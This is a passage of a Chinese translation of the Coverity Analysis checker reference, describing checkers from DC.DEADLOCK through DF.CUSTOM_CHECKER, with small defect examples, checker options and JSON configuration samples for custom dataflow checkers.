默认启用：DC.DANGEROUS 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。

## 4.131. DC.DEADLOCK

质量、安全（不调用）检查器

### 4.131.1. 概述

支持的语言：. Java

DC.DEADLOCK 可检测通过容易导致死锁的方式从 `java.lang.Thread` 和 `java.lang.ThreadGroup` 中调用已废弃的方法 `suspend()` 和 `resume()` 的情况。此外，还会检测对 `java.lang.Thread.countStackFrames()` 和 `java.lang.ThreadGroup.allowThreadSuspension(boolean)` 的调用，因为它们依赖 `suspend()` 方法。

默认启用：DC.DEADLOCK 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。

## 4.132. DC.PREDICTABLE\_KEY\_PASSWORD

质量、安全检查器（不调用）

### 4.132.1. 概述

支持的语言：. C、C++、Objective C、Objective C++

DC.PREDICTABLE\_KEY\_PASSWORD 可检测导致生成弱密钥或可预测密钥的 crypto API 调用。

DC.PREDICTABLE\_KEY\_PASSWORD 可检测以下 API：

- 在 LibSodium crypto 库中：

- `int crypto_box_seed_keypair(unsigned char *pk, unsigned char *sk, const unsigned char *seed)`
- `int crypto_sign_seed_keypair(unsigned char *pk, unsigned char *sk, const unsigned char *seed)`

- 在 OpenSSL LibCrypto 库中：

- `void DES_set_key_unchecked(const DES_cblock *key, DES_key_schedule *schedule)`
- `void DES_string_to_key(const char *str, DES_cblock *key)`
- `void DES_string_to_2keys(const char *str, DES_cblock *key2)`

默认禁用 : DC.PREDICTABLE\_KEY\_PASSWORD 默认禁用。要启用它 , 您可以在 cov-analyze 命令中使用 --enable 选项。

安全检查器启用 : 要与其他安全检查器一起启用 DC.PREDICTABLE\_KEY\_PASSWORD , 请在 cov-analyze 命令中使用 --security 选项。

#### 4.133. DC.STREAM\_BUFFER

质量、安全 ( 不调用 ) 检查器

##### 4.133.1. 概述

支持的语言 : C、C++、Objective-C、Objective-C++

DC.STREAM\_BUFFER 可检测对访问数据流缓冲区的不安全 I/O 函数 ( 特别是对 `scanf` 、 `fscanf` 、 `gets` ) 的调用 ( 这可能导致缓冲区溢出 ) 。

默认禁用 : DC.STREAM\_BUFFER 默认禁用。要启用它 , 您可以在 cov-analyze 命令中使用 --enable 选项。

安全检查器启用 : 要与其他安全检查器一起启用 DC.STREAM\_BUFFER , 请在 cov-analyze 命令中使用 --security 选项。

#### 4.134. DC.STRING\_BUFFER

质量、安全 ( 不调用 ) 检查器

##### 4.134.1. 概述

支持的语言 : C、C++、Objective-C、Objective-C++

DC.STRING\_BUFFER 可检测对访问字符串缓冲区的函数 ( `sprintf` 、 `sscanf` 、 `strcat` 、 `strcpy` 和 `__builtin_sprintf_chk` ) 的调用 ( 这可能导致缓冲区溢出 ) 。

默认禁用 : DC.STRING\_BUFFER 默认禁用。要启用它 , 您可以在 cov-analyze 命令中使用 --enable 选项。

#### 4.135. DC.WEAK\_CRYPTO

质量、安全 ( 不调用 ) 检查器

#### 4.135.1. 概述

支持的语言：. C、C++、Objective-C、Objective-C++

DC.WEAK\_CRYPTO 可检测会产生不安全伪随机数序列的函数调用。这些函数匹配以下模式：initstate、lcong48、rand、random、seed48、setstate 和 [dejlmn]rand48（包括确定六个单独函数的正则表达式）。此检查器还会检测以下两个 LibTomCrypt 调用：yarrow\_start 和 rc4\_start。这些函数设置伪随机数生成器，但并不需要它。

不应使用 DC.WEAK\_CRYPTO 检测的这些函数进行加密，因为很容易就能破解加密。

默认禁用：DC.WEAK\_CRYPTO 默认禁用。要启用它，您可以在 cov-analyze 命令中使用 --enable 选项。

安全检查器启用：要与其他安全检查器一起启用 DC.WEAK\_CRYPTO，请在 cov-analyze 命令中使用 --security 选项。

#### 4.136. DEADCODE

质量检查器

#### 4.136.1. 概述

支持的语言：. C、C++、C#、Go、Java、JavaScript、Objective-C、Objective-C++、PHP、Python、Ruby、Swift、Scala、TypeScript、Visual Basic

DEADCODE 查找由于分支条件在每次评估时都完全相同而绝不会到达的代码。换句话说，DEADCODE 报告假路径。



##### Note

这种代码也被称为不可达代码。有些程序员使用无用代码来描述虽执行但结果从来不被使用的代码。DEADCODE 检查器不报告后面这种代码。

此外，DEADCODE 不会针对函数级无用代码（例如绝不会被调用的静态函数）发出警告。

错误的代码假设或其他逻辑错误经常会导致无用代码。这些缺陷可能产生诸多影响。例如，如果您犯了逻辑错误（例如用 `<=` 代替了 `<`，或者用 `&&` 代替了 `||`，最终行为可能不正确。最好的后果是，无用代码增加了源代码（和相关二进制数据）的大小。更严重的是，逻辑错误可能导致重要代码永远不会执行，而这可能对程序结果造成不利影响。最坏的结果是，逻辑错误可能导致程序崩溃。

某些无用代码可能是故意留下的。例如，防御性错误检查可能导致一些目前无法到达的错误路径，但加入是为了防止日后的更改。此外，使用 `#if` 预处理器语句有条件地为不同配置编译不同代码块的代码可能在某些配置中形成无用代码。

可根据代码的预期目的修复这些缺陷。移除真正的无用代码将会减少此类缺陷。

默认启用 : DEADCODE 默认启用。有关启用/禁用详情和选项 , 请参阅 Section 1.2, “启用和禁用检查器”。

#### 4.136.2. 缺陷剖析

本部分描述了 DEADCODE 检查器生成的一个或多个事件。

其他检查器会报告事件以及可行的执行路径。DEADCODE 做法相反 : 它报告不可行的路径。如果您不知道这一点 , 可能会看不懂它生成的消息。

当 DEADCODE 报告缺陷时 , 主要事件是以下情况之一 :

- dead\_error\_line : 当无用代码由单行组成时。
- dead\_error\_begin : 当无用代码包括多行代码时。

无用代码必须位于不可行条件的路径上。dead\_error\_condition 事件指向该条件。

DEADCODE 事件还可以显示与不可行条件相关的其他路径事件。这些事件应该解释为什么不能满足条件。

#### 4.136.3. 示例

本部分提供了一个或多个 DEADCODE 示例。

##### 4.136.3.1. C/C++

在下面的 C/C++ 示例中 , 无用代码出现在第二个 if 语句中 , 因为 p 不能为 null。检查是否应提前调用 handle\_error() 。

```
int deadcode_example1(int *p) {
 if(p == NULL) {
 return -1;
 }

 use_p(*p);
 if (p == NULL) { // p cannot be null.
 handle_error(); // Defect: dead code
 return -1;
 }
 return 0;
}

void deadcode_example2(void *p) {
 int c = (p == NULL);

 if (p != NULL && c) { // Always false
 do_some_other_work(); // Defect: dead code
 }
}
```

```
}
```

#### 4.136.3.2. C#

在下面的示例中，`i` 不能同时为 `10` 和 `12`，因此 `i` 必须至少与两个值中的一个不相等。因此，`if` 条件将始终为 `true`，并且返回将始终执行。

```
public class Deadcode{
 public void bad(int i)
 {
 if(i != 10 || i != 12) {
 return;
 }
 // Defect: dead code
 ++i;
 }
}
```

#### 4.136.3.3. Go

在下面的示例中，针对第三个 `return` 语句显示了 `DEADCODE` 缺陷

```
func dead(i int) int {
 if i > 10 {
 return 1
 } else if i < 20 {
 return 2
 }
 return 3 // DEADCODE defect here
}
```

#### 4.136.3.4. Java

在下面的 Java 示例中，无用代码出现在第二个 `if` 语句中。由于第一个 `if` 语句，`o2` 在 `o1` 为 `null` 时不能为 `null`。请注意，如果 `DEADCODE:report_redundant_tests` 被设置为 `true`，下面的 `deadcode1` 示例会产生缺陷。

```
class Example {
 boolean deadcode1(Object o1, Object o2) {
 if(o1 == null && o2 == null) {
 return true;
 } else if(o1 == null && o2 != null) {
 // The check above for o2 != null is useless:
 // Because of the first condition,
 // o2 cannot be null if o1 is null.
 return false;
 }
 return true;
 }
 void deadcode2(Object o) throws Exception {
 if(o == null) {
```

```

 throw new Exception();
 }
 if(o == null) {
 // This line cannot be reached!
 log("o is null");
 }
}
}

```

#### 4.136.3.5. JavaScript

```

function test7a(p1) {
 if(p1 == null) {
 return;
 }
 // In JavaScript null == undefined.
 if(p1 == undefined) {
 // Defect: dead code
 return;
 }
 safe_process(p1);
}

function test7b(p1) {
 if(p1 === null) {
 return;
 }
 // But null !== undefined.
 if(p1 === undefined) {
 // No defect
 return;
 }
 safe_process(p1);
}

function adapted_angular_code_example(parentElement) {
 var isRoot = isMatchingElement(parentElement, $rootElement);
 var state = isRoot ? rootAnimateState : parentElement.data(NG_ANIMATE_STATE);
 var result = state && (!state.disabled || state.totalActive > 0);
 if(isRoot || result) {
 return result;
 }
 if(isRoot) {
 // Defect: dead code
 return true;
 }
}

```

#### 4.136.3.6. PHP

```

function deadcode($o1) {
 if($o1 == NULL) {

```

```

 return 1;
 }
somethingElse();
if(NULL == $o1) {
 // Defect: dead code
 return 2;
}
// otherwise
return 3;
}

```

#### 4.136.3.7. Python

```

def deadcode(o1):
 if(o1 is None):
 return 1
 somethingElse()
 if(None is o1):
 # Defect: dead code
 return 2
 # otherwise
 return 3

```

#### 4.136.3.8. Ruby

```

def deadcode(obj)
 if (obj.nil?)
 return 1
 end
 somethingElse()
 if (obj == nil)
 return 2 # Defect: dead code
 end
 # otherwise
 3
end

```

#### 4.136.3.9. Scala

在下面的示例中，第一个 if 条件 `p > 100` 和第二个 if 条件 `p < 200` 不能同时为 false。因此，第二个 if 语句的 else 分支在逻辑上无用。

```

def example(p : Int) : Int = {
 if (p > 100) {
 return 1
 } else {
 if (p < 200) {
 return 2
 } else {
 return 3 // DEADCODE
 }
 }
}

```

```

 }
}
```

#### 4.136.3.10. Swift

```

func deadcodeRange(_ i: Int) {
 if (i < 0 && i > 1) {
 doSomething(); // DEADCODE
 } else {
 doSomethingElse();
 }
}
```

#### 4.136.3.11. Visual Basic

在下面的示例中，`i` 将始终小于 10 或大于 9，因此 `if` 条件将始终为 `true` 并将始终执行返回。

```

Class DeadCode
 Sub Example(i As Integer)
 If i < 10 OrElse i > 9 Then
 Return
 End If
 ' Defect: Dead code
 i = i + 1
 End Sub
End Class
```

### 4.136.4. 选项

本部分描述了一个或多个 `DEADCODE` 选项。

您可以设置特定检查器选项值，方法是使用 `cov-analyze` 命令的 `--checker-option` 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- `DEADCODE:no_dead_default:<boolean>` - 当此选项被设置为 `true` 时，该检查器将抑制报告由 `switch-case` 语句中无法到达的 `default` 语句导致的缺陷。默认值为 `DEADCODE:no_dead_default:false`（这意味着无法到达的 `default` 语句会被报告为缺陷，适用于 C、C++、C#、Go、Java、Objective-C、Objective-C++，不支持 JavaScript、Ruby、Scala 和 TypeScript）。

示例：

```

switch(i) {
 case 0:
 case 1:
 break;
 default:
 return;
}
```

```
switch(i) {
 case 0:
 case 1:
 break;
 default:
 assert(false); // Defect unless no_dead_default option is set to true
}
```

要禁止报告这些缺陷，请使用：

```
> cov-analyze --checker-option DEADCODE:no_dead_default:true
```

- DEADCODE:report\_dead\_killpaths:<boolean> - 当此选项被设置为 `true` 时，该检查器将报告表示“终止路径”的“死”代码。终止路径包括无条件抛出异常、调用无条件断言或使用类似机制的路径。默认情况下，DEADCODE 会自动抑制此类报告，将此类机制视为特意为之的“防御性”编码。默认值为 `DEADCODE:report_dead_killpaths:false`（适用于 C、C++、C#、Java、Objective-C 和 Objective-C++，不支持 Go、JavaScript、Ruby、Scala 和 TypeScript）。

默认抑制以下类型的编码做法：

```
void dead_killpath_example(int i)
{
 switch(i & 0x3) {
 case 0: doSomethingA(); return;
 case 1: doSomethingB(); return;
 case 2: doSomethingC(); return;
 case 3: doSomethingD(); return;
 default: // Intentionally dead
 throw some_exception("defensive");
 }
}
```

- DEADCODE:report\_redundant\_tests:<boolean> - 当此选项被设置为 `true` 时，该检查器将报告无法获取分支（如果这未导致任何代码段无法到达）的情况。在 JavaScript 中，所有数字常数值都是浮点类型；当有一些证据表明这些变量被用作整数时，DEADCODE 才会跟踪整数变量。默认值为 `DEADCODE:report_redundant_tests:false`（适用于所有语言）。

示例：

```
i++;
if(i >= 0 || i <= 5) {
 doit();
}
```

在这种情况下，`i <= 5` 必须为 `true`，因为它只会在 `i < 0` 时获得评估。因此，`i <= 5` 是多余的。开发人员可能打算使用 `&&` 而不是 `||`。

- DEADCODE:suppress\_effectively\_constant\_local:<boolean> - 当此选项被设置为 `true` 时，该检查器将抑制关于本地变量（仅被赋值给常量值一次并被用作死代码块中的条件）的缺陷（详情见下文）。您可使用该选项抑制特意通过本地变量禁

用代码的缺陷。请注意，这样做也可能会抑制某些真正的问题，因此要慎用。默认值为 DEADCODE:suppress\_effectively\_constant\_local:false（适用于 C、C++、C#、Go、Java、Objective-C、Objective-C++，不支持 JavaScript、Ruby、Scala 和 TypeScript）。

#### 有效常量条件

此选项可以抑制代码中符合以下所有条件的缺陷：

- 是本地变量（即在函数或方法中声明的变量）。这意味着，该变量未被声明为 const（适用于 C++、C#）或 final（适用于 Java、Scala），并且该变量是布尔类型（bool，适用于 C++、C#；boolean，适用于 Java、Scala；int，适用于 C）或指针类型。
- 它仅被赋值给常量值一次，因而使其实际上成为其范围内的常量。
- 被用作无用代码块中的条件。

#### 覆盖选项设置的特殊情况

DEADCODE 会自动抑制将变量名称不包含小写字母（例如 ALL\_CAPITALS）但符合有效常量条件的情况报告为缺陷。此行为允许使用带有变量的编码模式（例如 DEBUG），而不会产生误报；例如：

```
bool DEBUG = false; // Example: DEBUG
if(DEBUG) {
 // ...
 /* ... intentionally unreachable code */
}
```

（此模式用于 Java 和没有条件编译的其他环境。）

### 4.137. DEADLOCK (Java Runtime)

质量、Dynamic Analysis 检查器

#### 4.137.1. 概述

当两个 Java 线程互相等待对方释放锁，或者超过两个 Java 线程在循环链中等待锁时，Dynamic Analysis 就会报告 DEADLOCK。死锁是多线程应用程序中的常见问题。

#### 4.137.2. 问题

下表指明了该检查器发现的问题的影响，并根据问题的类型、类别和 CWE 缺陷库（如果可用）标识符进行了说明。这些属性与 Coverity Connect 中显示的检查器信息相对应。请注意，该表还可能指明与问题类型和检查器类别相关的检查器子类别。

Table 4.1. 问题影响：DEADLOCK

问题类型	检查器类别	影响	语言	CWE
线程死锁	程序挂起	中等	Java	833

有关 DEADLOCK 的详细信息 , 请参阅 Chapter 2, 。

#### 4.137.3. 示例

您可能期望下面的示例调用 doWork() 200 次 , 同时持有锁 A 和 B ( 100 次来自 AB.run() , 100 次来自 BA.run() )。通常 , 这 200 次调用都发生。但是 , AB 线程和 BA 线程可能会发生死锁。它们可能获取了锁并且还在等待锁 , 因此两者都无法取得进展。

请考虑这种情况 , 如果 AB 获取了锁 A , 并且在它可以获取锁 B 之前 , BA 先获取了该锁。现在 , 线程 AB 持有锁 A 并且在等待锁 B , 而线程 BA 持有锁 B 并且在等待锁 A 。两个线程都无法取得进展。在 Dynamic Analysis 监视此程序运行时 , 它会注意到这些线程在持有锁的同时等待其他锁的可能性 , 这样可能会导致死锁。因此 , Dynamic Analysis 会针对此代码报告 DEADLOCK 。

```
/*
 * DEADLOCK defect:
 * Two threads acquire two locks in different orders.
 */
public class DeadlockExample {
 // Dummy methods used in the Runnable classes.
 public static void doWork() {
 // Do something.
 }
 public static void sleep() {
 // Go to sleep.
 }

 static Object A = new Object();

 static Object B = new Object();

 static class AB implements Runnable {
 public void run() {
 for (int i = 0; i < 100; ++i) {
 // Acquiring lock 0x1d03a4e, an
 // instance of "java.lang.Object".
 synchronized (A) {
 // Acquiring lock 0xd5cab, an
 // instance of "java.lang.Object",
 // while holding lock 0x1d03a4e, an
 // instance of "java.lang.Object".
 synchronized (B) {
 doWork();
 }
 }
 sleep();
 }
 }
 }

 static class BA implements Runnable {
 public void run() {
 for (int i = 0; i < 100; ++i) {
```

```

// Acquiring lock 0xd5cabc, an
// instance of "java.lang.Object".
synchronized (B) {
 // Acquiring lock 0x1d03a4e, an
 // instance of "java.lang.Object",
 // while holding lock 0xd5cabc, an
 // instance of "java.lang.Object".
 synchronized (A) {
 doWork();
 }
}
sleep();
}
}

// Dummy method used by simpleDeadlock()
public static void runThreadsToCompletion (Thread ... ts) {
 // For an implementation, see
 // runThreadsToCompletion(Thread ... ts)
 // in install-dir-cic /dynamic-analysis/demo/src/simple/Example.java
}

public static void simpleDeadlock() {
 System.out.println("*** DEADLOCK example (this example may"
 + " actually deadlock and need to be forcibly terminated)");
 runThreadsToCompletion(
 new Thread(new AB(), "AB")
 , new Thread(new BA(), "BA"));
}
}

```

#### 4.137.4. 选项

DEADLOCK 的选项被设置为 Dynamic Analysis 代理选项或 Ant 属性。请参阅《Dynamic Analysis 管理员教程》或《Coverity 命令参考》，获取最完整的选项列表和详情。

- DEADLOCK:detect-deadlocks:<boolean> - 检测死锁的选项。默认为 true。

#### 4.137.5. 事件

Dynamic Analysis DEADLOCK 检查器生成了 lock 和 nested\_lock 事件。在这些事件中，Coverity Connect 通过事件的标识 hash 代码 (0xd5cabc) 及其类识别锁。每个事件还带有表明其发生方式的堆栈跟踪。每个死锁缺陷包括至少两个 Lock 事件和两个 Nested\_lock 事件。如果多个嵌套锁事件发生在不同的线程内，Dynamic Analysis 只会报告一个 DEADLOCK。

本部分描述了 DEADLOCK 检查器生成的一个或多个事件。

- lock - 线程获取锁。在前面的示例中，这被显示为程序获取了锁 0xd5cabc。
- Nested\_lock - 线程在其已持有另一个锁时获取一个锁。在前面的示例中，这被显示为程序获取了锁 0x1d03a4e。

该示例生成了 Coverity Connect 报告，表明 `nested_lock` 事件的锁获取顺序可能导致死锁。线程 AB 在持有锁 A 的同时等待锁 B，而线程 BA 在持有锁 B 的同时等待锁 A。

## 4.138. DELETE\_ARRAY

质量检查器

### 4.138.1. 概述

支持的语言：. C++

DELETE\_ARRAY 查找使用 `delete` 而不是 `delete[]` 删除数组的很多情况。

`new` 和 `delete` 都有两种变体：一种用于单个结构，另一种用于数组。在已分配的数组中，调用 `delete` 而不是 `delete[]` 大多数情况下都有效。但是，这并不保证一定可行。此外，数组元素的析构函数不会被调用，这可能导致内存泄漏和其他问题。

在新版 C++ 中使用数组的最佳方法是使用 STL 的 `vector` 类。这种方法更安全、更便捷，而且大多数情况下都和常规数组一样高效。对于需要数组的 API，您仍然可以使用 `&front()`。

默认启用：DELETE\_ARRAY 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。

### 4.138.2. 示例

本部分提供了一个或多个 DELETE\_ARRAY 示例。

```
void wrong_delete() {
 char *buf = new char [10];
 delete buf; // Defect: should be delete[] buf
}

struct auto_ptr {
 auto_ptr():ptr(0){}
 ~auto_ptr(){delete ptr;}
 int *ptr;
};

void test() {
 auto_ptr *arr = new auto_ptr[2];
 arr[0].ptr = new int(0);
 arr[1].ptr = new int(1);
 delete arr; // Memory leak, destructors are not called (or worse!)
}
```

### 4.138.3. 选项

本部分描述了一个或多个 DELETE\_ARRAY 选项。

您可以设置特定检查器选项值，方法是使用 cov-analyze 命令的 --checker-option 来传递这些值。有关详细信息，请参阅《Coverity 命令说明书》。

- `DELETE_ARRAY:no_error_on_scalar:<boolean>` - 当此选项为 `true` 时，该检查器不会在数组元素类型为标量（例如 `int`）时报告缺陷。虽然对标量的数组使用 `delete` 是错误的，但该行为在 C++ 的很多实现中都是无害的，因此提供了此选项来抑制报告此类情况。默认值为 `DELETE_ARRAY:no_error_on_scalar:false`

#### 4.138.4. 模型

您可以使用建模或代码行注解来抑制 `DELETE_ARRAY` 误报。如果错误地报告使用 `new` 数组变体分配了变量，或使用 `delete[]` 释放了变量，最可能的原因是全局模型不正确。在这种情况下，最佳解决方案是正确地为被调用函数的行为建模。

例如，虽然 `DELETE_ARRAY` 在大多数情况下能正确解译当函数返回值为 0 时仅使用 `new` 数组变体分配内存的函数，但您可以使用以下模型覆盖不正确的解译：

```
int my_array_alloc(char**& ptr)
{
 int unknown_cond;
 if (unknown_cond) {
 ptr = new char*[26];
 return 0;
 }
 ptr = new char**;
 return 1;
}
```

此 stub 函数表明数组分配返回 0，而非数组分配返回 1。使用未初始化变量 `unknown_cond` 的程序决策点对于分析并不重要，因为从 `my_array_alloc` 调用方的角度来看，每个潜在返回代码始终都应得到正确处理。您可以使用类似的 stub 为使用 `delete[]` 和 `delete` 的函数的行为建模。

#### 4.138.5. 事件

本部分描述了 `DELETE_ARRAY` 检查器生成的一个或多个事件。

- `new - new` 非数组变体被用于分配内存。
- `new_array - new` 数组变体被用于分配内存。
- `delete_var - delete` 非数组变体被用于释放内存。
- `delete_array_var - delete[]` 被用于释放内存。

如果在内存未得到分配或使用的运算没有语义与标准运算符 `new` 或 `delete` 相同的数组/非数组变体的行报告了其中一种事件，您可以使用代码行注解抑制该事件。

### 4.139. DELETE\_VOID

#### 质量检查器

#### 4.139.1. 概述

支持的语言：. C++

`DELETE_VOID` 可查找指向 `void` 的指针被删除的情况。当对 `void` 的指针执行了删除后，对象本身会被释放，但与动态类型关联的析构函数不会执行（如果该析构函数要执行释放内存等重要操作，则这种情况属于缺陷）。

在很多实现中，删除 `void` 的指针会被类同为调用 `free()` - 内存被释放，但是析构函数不会被执行。但是，即使这是有意设计的行为，依赖该行为也是危险做法，原因如下：

- 根据语言标准，此类行为是未定义的。从技术角度来说，实现可以执行任何操作，而且某些编译器具有可主动转换依赖未定义行为的代码的优化器。
- 如果分配的位置信息被更改，例如分配对象的数组，释放时将执行同样操作，导致错误。

默认启用：`DELETE_VOID` 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。

#### 4.139.2. 示例

本部分提供了一个或多个 `DELETE_VOID` 示例。

在下面的示例中，对类型为 `void` 的指针使用了删除：

```
void buggy(void *p)
{
 delete p;
}
```

#### 4.139.3. 事件

本部分描述了 `DELETE_VOID` 检查器生成的一个或多个事件。

- `delete_void` - 删除了类型为 `void` 的指针。

### 4.140. DENY\_LIST\_FOR\_AUTHN

安全检查器

#### 4.140.1. 概述

支持的语言：. Ruby

`DENY_LIST_FOR_AUTHN` 在以下情况下报告缺陷：在网络控制器上指定筛选器，使用的是可应用该筛选器的一系列操作，而不是不可应用该筛选器的一系列操作。

例如，并不是默认应用验证筛选器并配置异常，而是应用程序可能将验证筛选器配置为仅应用于特定的操作集合。如果添加了新操作，它们不会默认进入验证范围，而是保留未验证状态。因此，默认情况下应用筛选器更安全，可以避免意外泄露未验证的操作。

默认启用：DENY\_LIST\_FOR\_AUTHN 默认启用。有关启用/禁用详情和选项，请参阅Section 1.2，“启用和禁用检查器”。

#### 4.140.2. 缺陷剖析

DENY\_LIST\_FOR\_AUTHN 缺陷在发生事件部分描述的事件时报告。

#### 4.140.3. 示例

本部分提供了一个或多个 DENY\_LIST\_FOR\_AUTHN 示例。

下面的 Ruby-on-Rails 示例展示了控制器默认跳过验证筛选器的情况。

```
class ExampleController < ApplicationController
 skip_before_action :authenticate_user!, except: [:show, :delete]
end
```

#### 4.140.4. 事件

本部分描述了 DENY\_LIST\_FOR\_AUTHN 检查器生成的一个或多个事件。

- auth\_deny\_list - 对于控制器默认跳过潜在验证筛选器。
- csrf\_deny\_list - 对于控制器默认跳过跨站请求伪造筛选器。

### 4.141. DETEKT.\*

#### 4.141.1. 概述

支持的语言：. Kotlin

Coverity 通过 cov-analyze 命令支持 Detekt 分析（版本 1.0.1）。Detekt 是一个开源程序，可查找 Kotlin 代码中的程序缺陷（缺陷）。Coverity 分析使用以下格式报告 Detekt 问题：DETEKT.XXXX

与其他缺陷一样，Detekt 程序缺陷会显示在用于运行 cov-analyze 的控制台中，并且包含在通过 cov-commit-defects 命令提交给 Coverity Connect 的缺陷中。

默认情况下启用使用 Detekt 的分析。要禁用 Detekt 分析，请使用 --disable-detekt 选项。另请参阅Section 1.2，“启用和禁用检查器”。

Coverity Analysis 提供了一个默认配置，可以在 <install\_dir>/config/detekt/coverity-default-detekt-config.yml 中找到它。但是，您可以通过使用 --detekt-config-file \*.yml 选项应用自己的自定义配置，其中 \*.yml 用于指定您的配置（请参阅 <https://>

[arturbosch.github.io/detekt/configurations.html](https://arturbosch.github.io/detekt/configurations.html)，了解关于 `*.yml` 文件配置的信息）。如果您不使用该选项，分析将运行默认配置文件并忽略您的源树中的所有 `*.yml` 文件。

要启用 Detekt 格式设置规则集，请使用 `--enable-formatting-ruleset` 选项。有关 Detekt 规则集的更多信息，请参阅 <https://arturbosch.github.io/detekt/index.html>

## 4.142. DF.CUSTOM\_CHECKER

质量、安全（数据流）检查器

### 4.142.1. 概述

支持的语言：. C#、Java、JavaScript 和 Visual Basic

Coverity Analysis 可提供创建用户定义的数据流检查器的能力。数据流检查器可报告来自被污染源的不可信字符串、数据流和字节数组在整个程序中传递并用于不安全数据消费者的情况。很多安全漏洞都符合这一常见模式，包括注入问题、数据泄露、不安全对象引用等。

没有开箱即用的检查器名称以 DF 开头，但名称以 Taint 开头的检查者与此类别相关。这些检查器报告数据来自出于这样或那样的原因而被认为是不可信来源的情况。

这些检查器使用通过 cov-analyze 命令的 `--directive-file` 选项传递的 JSON 配置文件定义。定义 DF.CUSTOM\_CHECKER 的指令在《安全指令说明书》中描述。

自定义数据流检查器仅可以用于具有以下 `format_version` 值的 JSON 配置文件。

- 5 或更高（适用于 Java 和 C#）
- 6 或更高（适用于 JavaScript）
- 11 或更高（适用于 Visual Basic）

默认启用：自定义 DF 检查器默认启用。有关启用/禁用详情和选项，请参阅 Section 1.2，“启用和禁用检查器”。

数据流缺陷的基本元素如下。

- 被污染的源：. 数据流缺陷以被污染的源开始。数据源可以为方法返回值、参数或类成员。

每个污染源都属于描述其来源位置的类别。示例包括 `filesystem`、`network` 和 `http`（请参阅《安全指令说明书》中 `TaintKindString` 的描述）。每个检查器都表明了其对这些污染类型子集的敏感性。

不过，用户定义的数据流检查器也遵守全局信任模型。将仅报告被认为不可信的数据源类别；将不报告可信源。（默认信任多种污染类型。）有关调整全局信任模型的信息，请参阅 cov-analyze 的各个 `--trust-*` 和 `--distrust-*` 选项。

预定义的污染类别包括内置到 Coverity 分析中的特定数据源。例如，对 `http` 污染类型敏感的检查器将已了解 `javax.servlet.http.HttpServletRequest.getParameter` 返回可由用户控制的数

据。其他源可使用配置指令（请参阅《安全指令说明书》中 `webapp_security_config_file_ref` 的描述）和/或用户模型（请参阅 Chapter 5, ）识别。

- **数据传递**：. Coverity 分析从源到数据消费者跟踪不可信数据的路径。高级数据流引擎了解通过虚方法调用进入类成员和集合的数据传递，以及通过多个 Web 应用程序和模型-视图-控制器模式的数据传递。该引擎包括描述通过系统和常用第三方库的数据流的大型内置模型库。

数据流分析的攻击性级别也可以使用 `cov-analyze` 的 `--webapp-security-aggressiveness` 级别进行调整。一般来说，级别越高生成的缺陷越多，但也会产生更多误报。

- **数据净化器 (sanitizer)**：. 净化器 (sanitizer) 是可对值进行转换以保护其免遭此检查器所报告漏洞攻击的方法调用。分析不会针对通过适当净化器 (sanitizer) 传递的任何值报告缺陷。

这些净化器特定于该检查器，并且需要使用 `sanitizer_for_checker` 指令（在《安全指令说明书》中描述）定义。

- **不安全数据消费者**：. 数据消费者是对传递不可信或用户控制的数据不安全或不需要的方法调用。分析将针对传递被污染数据的任何数据消费者报告缺陷。

这些数据消费者特定于该检查器，并且需要使用 `sink_for_checker` 指令（在《安全指令说明书》中描述）定义。没有任何关联数据消费者的自定义检查器将不会报告任何缺陷。

对于 Java、C# 和 Visual Basic，用户定义的数据流检查器仅可以用于描述方法调用位置参数（为字符串、数据流、字节数组和这些类型的集合）的数据消费者。不支持整数和数字值。不支持程序定义的类和接口的源和数据消费者（尽管任何受支持的类型都可以存储为成员或通过程序类传递）。

**顶层字段**：. 用于此检查器的 JSON 配置文件中的顶层字段与针对 Web 应用程序安全文件的这些字段相同。这些在《安全指令说明书》>“顶层值”部分中描述。请阅读该部分中的重要建议和要求段落。

对于 Java 和 C#，自定义数据流检查器仅可以用于 `format_version` 值为 5 或更高的 JSON 配置文件中。对于 JavaScript，`format_version` 值需要为 6 或更高。

**指令语法**：. 数据流检查器指令是 JSON 对象。有关语法的详情，请参阅《安全指令说明书》中的“第 2 章配置文件语法”。

#### 4.142.2. 示例

**示例 1：C# - 所有可用字段.** 此示例使用每个可能字段来定义自定义 C# 数据流检查器。

```
{
 "type" : "Coverity analysis configuration",
 "format_version" : 12,
 "language" : "C#",
 "directives" : [
 {
 "dataflow_checker_name" : "DF.MY_CUSTOM_DATAFLOW_CHECKER",
 "taint_kinds" : ["all_server_taints"],
 "sink_message" : "Oh No! Tainted data reached a sink!",
 "remediation_advice" : "Don't do that!",
 "new_issue_type" : {
 "type" : "my_custom_dataflow_checker",
 }
 }
]
}
```

## Coverity Analysis 检查器 (Checkers)

---

```
 "name" : "A smaller description of the problem.",
 "description" : "A long description of the problem.",
 "local_effect" : "User-controllable data reached a sink.",
 "impact" : "High",
 "category" : "Custom Dataflow Checker Results",
 "cwe" : 10
 }
}
]
}
```

示例 2 : C# - 最少必填字段。此示例使用最少的必填字段来定义自定义 C# 数据流检查器。

```
{
 "type" : "Coverity analysis configuration",
 "format_version": 12,
 "language" : "C#",
 "directives" : [
 {
 "dataflow_checker_name" : "DF.MY_CUSTOM_DATAFLOW_CHECKER",
 "taint_kinds" : [
 "http",
 "network"
]
 }
]
}
```

示例 3 : Java。此 Java 示例说明了当 Spring MVC Controller 请求参数被传递给用户定义的不安全数据消费者时自定义检查器将报告的缺陷。

下面的指令将定义针对不安全使用 HTTP 数据报告缺陷的自定义检查器。分析默认不信任 HTTP 数据（请参阅 cov-analyze 的 --distrust-http）。

```
{
 "dataflow_checker_name" : "DF.DANGEROUS_ROBOT",
 "sink_message" : "Battle robots should not be controllable by network data.",
 "taint_kinds" : ["http"]
}
```

没有任何数据消费者指令，该检查器将不报告任何缺陷。下面的 sink\_for\_checker 指令描述了不应向其传递用户控制的数据的 API。它匹配静态解析为 RobotService.run 的任何调用位置的第一个参数。

```
{
 sink_for_checker : "DF.DANGEROUS_ROBOT",
 sink : {
 to_callsite : {
 callsite_with_static_target : {
 "named" : "battle.robot.api.RobotService.run(java.lang.String, int)void"
 },
 },
 },
}
```

```
 input : "arg1"
}
}
```

在此应用程序中，我们不需要建模任何自定义源。分析拥有大量内置常用 API 建模，以访问 HTTP 数据和处理字符串。

